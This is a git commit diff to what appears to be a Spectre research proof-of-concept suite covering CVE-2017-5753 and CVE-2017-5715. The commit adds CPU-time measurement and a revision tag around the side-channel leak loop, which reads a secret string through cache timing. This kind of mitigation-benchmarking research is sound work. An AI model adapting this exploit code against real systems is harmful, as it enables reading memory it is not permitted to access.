Measure total CPU time for leak(), add it to the ouput alongside the git revision

This commit is contained in:
Samuel Aubertin 2022-04-13 12:45:14 +02:00
parent 5a49d14360
commit 54abc38327
4 changed files with 90 additions and 22 deletions

View File

@ -74,6 +74,8 @@ GCCV:= $(shell (gcc -v 2>&1 | grep 'gcc version') || (apk info -a gcc 2> /dev/n
VULN1:= $(shell (cat /sys/devices/system/cpu/vulnerabilities/spectre_v1 2> /dev/null || printf unknown))
VULN2:= $(shell (cat /sys/devices/system/cpu/vulnerabilities/spectre_v2 2> /dev/null || printf unknown))
REVISION:= $(shell git rev-parse --short HEAD)
CFLAGS+= -DREVISION=\"$(REVISION)\"
define BANNER
printf '\033[1m\033[94m________ __\n'
printf '\\_____ \\ _____/ |_ ____ ______ __ __ ______\n'

View File

@ -4,11 +4,40 @@
#include <getopt.h>
#include <string.h>
#include <x86intrin.h>
#include <time.h>
#if defined(__OpenBSD__)
#include <sys/time.h>
#elif defined(__linux__)
// From OpenBSD's src/sys/sys/time.h
#define timespecclear(tsp) (tsp)->tv_sec = (tsp)->tv_nsec = 0
#define timespecadd(tsp, usp, vsp)\
do {\
(vsp)->tv_sec = (tsp)->tv_sec + (usp)->tv_sec;\
(vsp)->tv_nsec = (tsp)->tv_nsec + (usp)->tv_nsec;\
if ((vsp)->tv_nsec >= 1000000000L) {\
(vsp)->tv_sec++;\
(vsp)->tv_nsec -= 1000000000L;\
}\
} while (0)
#define timespecsub(tsp, usp, vsp)\
do {\
(vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\
(vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\
if ((vsp)->tv_nsec < 0) {\
(vsp)->tv_sec--;\
(vsp)->tv_nsec += 1000000000L;\
}\
} while (0)
#endif
#if defined(__i386__) || defined(__amd64__)
#if defined(__amd64__)
#define CACHELINE_SIZE 64
#else
#error "unsupported architecture"
#error "Unsupported architecture. amd64 is required."
#endif
#if !defined(__SSE__)
#error "Unsupported platform. SSE is required."
#endif
#if defined(__SSE__) && !defined(__SSE2__)
@ -18,6 +47,7 @@
#define LATENCY 18 + 18
#endif
#ifndef NORDTSCP
#define LATENCY 42 + 42
#else
@ -26,7 +56,12 @@
#endif
#endif
#if OCTOPUS_STRAIN == V1
#ifndef REVISION
#define REVISION "unknown"
#endif
#if OCTOPUS_STRAIN == 1
#define CVE "CVE-2017-5753"
#ifdef MASKING_MITIGATION
/* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27
*
@ -71,10 +106,11 @@
_mm_stderr_ps(&p[(l * 4 + k) * 4], i);
}
#endif //NOCLFLUSH
#endif // OCTOPUS_STRAIN V1
#endif // OCTOPUS_STRAIN 1
#if OCTOPUS_STRAIN == V2
#endif // OCTOPUS_STRAIN V2
#if OCTOPUS_STRAIN == 2
#define CVE "CVE-2017-5715"
#endif // OCTOPUS_STRAIN 2
#define GAP 512
@ -82,6 +118,7 @@ char* secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism,
unsigned int cache_hit_threshold, array1_size = 16;
uint8_t unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
uint8_t channel[256 * GAP]; // side channel to extract secret phrase
struct timespec total_cpu_time, cpu_time, cpu_start, cpu_end;
#define __OCTOPUS_ARGS__\
while ((o = getopt(argc, argv, "t:j")) != EOF) {\
@ -199,7 +236,7 @@ octopus_calibrate_threshold(unsigned int *threshold)
}
void
octopus_to_json(char** argv, int successes) {
octopus_to_json(char** argv, int successes, struct timespec* total_cpu_time) {
printf("{ \"%s\": { \"capacities\": { ",argv[0] + 2);
#ifndef NORDTSCP
printf("\"rdtscp\": true, ");
@ -216,8 +253,8 @@ octopus_to_json(char** argv, int successes) {
#else
printf("\"clflush\": false ");
#endif
#if OCTOPUS_STRAIN == V1
printf("}, \"mitigations\": { ");
#if OCTOPUS_STRAIN == 1
printf("}, \"mitigations\": { ");
#ifdef LFENCE_MITIGATION
printf("\"lfence\": true, ");
#else
@ -228,14 +265,21 @@ octopus_to_json(char** argv, int successes) {
#else
printf("\"masking\": false ");
#endif
#endif // OCTOPUS_STRAIN == V1
#endif // OCTOPUS_STRAIN == 1
printf("}, ");
printf("\"revision\": \"%s\", ", REVISION);
printf("\"cpu_time\": %lld.%09ld, ", (long long)total_cpu_time->tv_sec, total_cpu_time->tv_nsec);
printf("\"threshold\": %d, ", cache_hit_threshold);
printf("\"success\": %.0f } }", 100 * successes / (float)strlen(secret));
}
void
octopus_result_line(char** argv, int successes) {
octopus_header_line(char** argv, char* secret) {
fprintf(stderr, "[+] %s rev %s leaking %d bytes with %s:\n[?] ", argv[0] + 2, REVISION, (int)strlen(secret), CVE);
}
void
octopus_result_line(char** argv, int successes, struct timespec* total_cpu_time) {
fprintf(stderr, "[+] %-27s\t",argv[0] + 2);
#ifndef NORDTSCP
fprintf(stderr, "RDTSCP ");
@ -248,13 +292,14 @@ octopus_result_line(char** argv, int successes) {
#ifndef NOCLFLUSH
fprintf(stderr, "CLFLUSH ");
#endif
#if OCTOPUS_STRAIN == V1
#if OCTOPUS_STRAIN == 1
#ifdef LFENCE_MITIGATION
fprintf(stderr, "LFENCE_MITIGATION ");
#endif
#ifdef MASKING_MITIGATION
fprintf(stderr, "MASKING_MITIGATION ");
#endif
#endif // OCTOPUS_STRAIN == V1
fprintf(stderr, "\tthreshold %-3d\tsuccess %3.0f %%\n", cache_hit_threshold, 100 * successes / (float)strlen(secret));
#endif // OCTOPUS_STRAIN == 1
fprintf(stderr, "\tcpu_time %lld.%09ld s\tthreshold %-3d\tsuccess %3.0f %%\n",
(long long)total_cpu_time->tv_sec, total_cpu_time->tv_nsec, cache_hit_threshold, 100 * successes / (float)strlen(secret));
}

View File

@ -19,7 +19,7 @@
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#define OCTOPUS_STRAIN V1
#define OCTOPUS_STRAIN 1
#include "octopus.h"
uint8_t temp = 0; /* Used so compiler wont optimize out victim_function() */
@ -116,7 +116,7 @@ main(int argc, char** argv)
__OCTOPUS_ARGS__
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret));
octopus_header_line(argv, secret);
octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
#ifdef NOCLFLUSH
for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
@ -126,8 +126,18 @@ main(int argc, char** argv)
for (i = 0; i < (int)sizeof(channel); i++) {
channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */
}
timespecclear(&total_cpu_time);
while (--len >= 0) {
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_start);
leak(malicious_x++, value, score, cache_hit_threshold);
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_end);
timespecsub(&cpu_end, &cpu_start, &cpu_time);
timespecadd(&cpu_time, &total_cpu_time, &total_cpu_time);
if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
successes++;
fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
@ -136,10 +146,11 @@ main(int argc, char** argv)
}
}
fprintf(stderr, "\n");
if (json) {
octopus_to_json(argv, successes);
octopus_to_json(argv, successes, &total_cpu_time);
}
octopus_result_line(argv, successes);
octopus_result_line(argv, successes, &total_cpu_time);
return 0;
}

View File

@ -18,7 +18,7 @@
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#define OCTOPUS_STRAIN V2
#define OCTOPUS_STRAIN 2
#include "octopus.h"
uint64_t* target; // pointer to indirect call target
@ -150,15 +150,25 @@ main(int argc, char** argv)
__OCTOPUS_ARGS__
target = (uint64_t*)malloc(sizeof(uint64_t));
fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len);
octopus_header_line(argv, secret);
octopus_calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold);
#ifdef NOCLFLUSH
for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
cache_flush_array[i] = 1;
}
#endif
timespecclear(&total_cpu_time);
while (--len >= 0) {
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_start);
leak(secret_addr++, value, score, cache_hit_threshold);
clock_gettime(CLOCK_PROCESS_CPUTIME_ID, &cpu_end);
timespecsub(&cpu_end, &cpu_start, &cpu_time);
timespecadd(&cpu_time, &total_cpu_time, &total_cpu_time);
if(score[0] == 3 && value[0] > 31 && value[0] < 127) {
successes++;
fprintf(stderr, "\033[32m%c\033[0m", (value[0]));
@ -168,9 +178,9 @@ main(int argc, char** argv)
}
fprintf(stderr, "\n");
if (json) {
octopus_to_json(argv, successes);
octopus_to_json(argv, successes, &total_cpu_time);
}
octopus_result_line(argv, successes);
octopus_result_line(argv, successes, &total_cpu_time);
free(target);